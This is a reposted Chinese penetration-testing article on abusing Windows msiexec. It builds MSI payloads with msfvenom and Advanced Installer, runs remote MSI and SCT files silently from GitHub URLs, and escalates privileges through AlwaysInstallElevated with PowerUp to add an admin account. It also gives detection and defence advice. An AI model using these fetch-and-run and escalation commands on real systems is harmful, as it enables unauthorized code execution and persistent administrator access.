渗透测试中的msiexec

渗透测试中的msiexec本文讲的是渗透测试中的 msiexec 0x00 前言在上篇研究了 ClickOnce 的渗透技巧 接触到了安装包的概念 关于安装包还有一个常见的是 msi 文件 可在命令行下通过 msiexec 安装 所以这次就研究一下 msiexec 在渗透测试中的利用技巧 0x01 简介 msiexec 系统进程 是 WindowsInsta 的一部分用于安装 Win

本文讲的是
渗透测试中的msiexec

0x00 前言

在上篇研究了ClickOnce的渗透技巧,接触到了安装包的概念。关于安装包还有一个常见的是msi文件,可在命令行下通过msiexec安装,所以这次就研究一下msiexec在渗透测试中的利用技巧

0x01 简介

msiexec:

系统进程,是Windows Installer的一部分

用于安装Windows Installer安装包(MSI)

一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大

系统自带,在命令行下使用,参数说明如下:

msiexec /Option  
  
     [Optional Parameter] Install Options       
   
             Installs or configures a product     /a  
    
              Administrative install - Installs a product on the network     /j 
     
         
      
         [/t  
       
         ] [/g  
        
          ]         Advertises a product - m to all users, u to current user       
         
                   Uninstalls the product Display Options     /quiet         Quiet mode, no user interaction     /passive         Unattended mode - progress bar only     /q[n|b|r|f]         Sets user interface level         n - No UI         b - Basic UI         r - Reduced UI         f - Full UI (default)     /help         Help information Restart Options     /norestart         Do not restart after the installation is complete     /promptrestart         Prompts the user for restart if necessary     /forcerestart         Always restart the computer after installation Logging Options     /l[i|w|e|a|r|u|c|m|o|p|v|x|+|!|*]  
          
                    i - Status messages         w - Nonfatal warnings         e - All error messages         a - Start up of actions         r - Action-specific records         u - User requests         c - Initial UI parameters         m - Out-of-memory or fatal exit information         o - Out-of-disk-space messages         p - Terminal properties         v - Verbose output         x - Extra debugging information         + - Append to existing log file         ! - Flush each line to the log         * - Log all information, except for v and x options     /log  
           
                     Equivalent of /l*  
            
              Update Options     /update  
             
               [;Update2.msp]         Applies update(s)     /uninstall  
              
                [;Update2.msp] /package  
               
                         Remove update(s) for a product Repair Options     /f[p|e|c|m|s|o|d|a|u|v]  
                
                          Repairs a product         p - only if file is missing         o - if file is missing or an older version is installed (default)         e - if file is missing or an equal or older version is installed         d - if file is missing or a different version is installed         c - if file is missing or checksum does not match the calculated value         a - forces all files to be reinstalled         u - all required user-specific registry entries (default)         m - all required computer-specific registry entries (default)         s - all existing shortcuts (default)         v - runs from source and recaches local package Setting Public Properties     [PROPERTY=PropertyValue] 
                 
                
               
              
             
            
           
          
         
        
       
      
     
    
  

0x02 制作.msi文件

1、使用metasploit

msf命令如下:

msfvenom -f msi -p windows/exec CMD=calc.exe>test.msi

运行后生成test.msi

双击可以直接安装,如图,弹出计算器

渗透测试中的msiexec

等价于在命令行下执行如下命令:

msiexec /i test.msi

如下图,同时会弹出安装的对话框,可以使用/q参数来隐藏安装界面

渗透测试中的msiexec

命令行参数如下:

msiexec /q /i test.msi

如图

渗透测试中的msiexec

执行后会在%TEMP%下生成MSI的log文件,如图

渗透测试中的msiexec

MSF为了能够让payload可扩展,生成msi文件的方式如下:

创建一个msi文件模板 在文件的固定位置保留一段地址用来存储payload 在运行过程中读取这个地址的内容并执行

细节可参考如下链接:

http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html

关于msi文件格式可参考:

http://www.forensicswiki.org/w/images/5/5b/Compdocfileformat.pdf

2、使用Advanced Installer

Advanced Installer是一款功能强大、可生成符合MS Windows认证的Windows Installer的MSI 安装包制作工具,具有友好的图形用户界面,直观而且非常简单的界面,是一款很好的 Windows Installer 编写工具

界面如下图,配置界面友好

渗透测试中的msiexec

在自定义行为中选择自定义操作,添加 LaunchFile

设置启动文件等参数,如图

渗透测试中的msiexec

导出msi文件,操作如图

渗透测试中的msiexec

生成文件如图

渗透测试中的msiexec

命令行参数如下:

msiexec /q /i test2.msi

成功弹出cmd.exe,如图

渗透测试中的msiexec

值得注意的是弹出cmd的路径为c:windowsinstallerMSI3646.tmp

查看路径c:windowsinstaller,如图

渗透测试中的msiexec

其中.msi和test2.msi的大小一样(其实就是test2.msi文件)

现在关闭弹出的cmd,再次查看路径c:windowsinstaller,如图

渗透测试中的msiexec

安装结束后,安装文件被删除,只留下.tmp文件,记录安装操作,内容如图

渗透测试中的msiexec

当然,在%TEMP%下也会生成MSI的log文件

0x03 远程执行

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll

msiexec也同样支持这个功能

注:

如下链接介绍了远程执行同快捷方式结合,通过ole对象插入到excel文档进行钓鱼攻击的方法:

https://labs.nettitude.com/blog/fun-with-windows-binaries-application-whitelist-bypass-using-msiexec/

msiexec /q /i https://raw.githubusercontent.com/3gstudent/test/master/testmsi.png

注:

由于是msf生成的msi文件,所以默认会被杀毒软件拦截,但操作只是一个弹出计算器

msiexec /q /i https://raw.githubusercontent.com/3gstudent/test/master/test3.msi

成功执行msi文件,弹出cmd.exe

如图

渗透测试中的msiexec

0x04 权限提升

利用组策略可以实现权限提升

开启AlwaysInstallElevated特权安装功能:

打开组策略编辑器 用户配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装: 选择启用 计算机配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装: 选择启用

如图

渗透测试中的msiexec

此时会在注册表如下位置自动创建键值:

[HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001

接下来,使用powerup完成提权添加用户的操作

powerup地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

检查是否开启AlwaysInstallElevated:

Get-RegistryAlwaysInstallElevated

返回true代表系统开启AlwaysInstallElevated

利用AlwaysInstallElevated添加用户:

Write-UserAddMSI

运行后生成文件UserAdd.msi

这时以普通用户权限运行这个UserAdd.msi,成功添加账户

完整测试如图

渗透测试中的msiexec

成功在普通权限的cmd下添加一个管理员账户

注:

如果获得了对注册表的访问权限,可以通过更改注册表来开启AlwaysInstallElevated(必须同时修改两处注册表键值),进而提升权限,甚至当成提权后门

检测是否开启AlwaysInstallElevated:

查看注册表即可,cmd命令如下:

reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

值全为1代表开启AlwaysInstallElevated,否则未开启

0x05 小结

通过msiexec,不仅能够在命令行实现远程下载执行代码,还能应用于权限提升,更多的利用方法值得研究。

当然,对照利用方法进行防御,只要关闭AlwaysInstallElevated,即可阻止通过msi文件的提权利用。







原文发布时间为:2017年1月19日
本文作者:3gstudent 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/219019.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月17日 下午10:58
下一篇 2026年3月17日 下午10:59


相关推荐

  • ssh公私钥登录方式设置

    ssh公私钥登录方式设置

    2022年1月30日
    48
  • kali命令大全

    kali命令大全arch显示机器的处理器架构(1)uname-m显示机器的处理器架构(2)uname-r显示正在使用的内核版本dmidecode-q显示硬件系统部件-(SMBIOS/DMI)hdparm-i/dev/hda罗列一个磁盘的架构特性hdparm-tT/dev/sda在磁盘上执行测试性读取操作cat/proc/cpuinfo显示CPUinfo的信息c…

    2022年6月9日
    71
  • java数组详解

    java数组详解1 数组概念同一种类型数据的集合。其实数组就是一个容器。数组的好处可以自动给数组中的元素从0开始编号,方便操作这些元素。格式1:元素类型[] 数组名 = new 元素类型[元素个数或数组长度];示例:int[] arr = new int[5];格式2:

    2022年6月2日
    29
  • pyqt ui设计_python pyqt5界面开发

    pyqt ui设计_python pyqt5界面开发@[TOC)欢迎使用Markdown编辑器你好!这是你第一次使用Markdown编辑器所展示的欢迎页。如果你想学习如何使用Markdown编辑器,可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。新的改变我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客:全新的界面设计,将会带…

    2022年8月28日
    7
  • SECS/GEM通信

    SECS/GEM通信1 将 Secs dll secs h Secs lib 导入工程中 2 定义服务器和客户端的

    2026年1月29日
    2
  • Disruptor实际应用示例

    Disruptor实际应用示例Disruptor 实际应用示例简介告警处理需求告警信息处理器调度 DisruptorApp 测试 AbstractEven 实现简介 Disruptor 它是一个开源的并发框架 并获得 2011Duke s 程序框架创新奖 能够在无锁的情况下实现 Queue 并发操作 同学们代码中是否会使用到 BlockingQueu

    2026年3月17日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号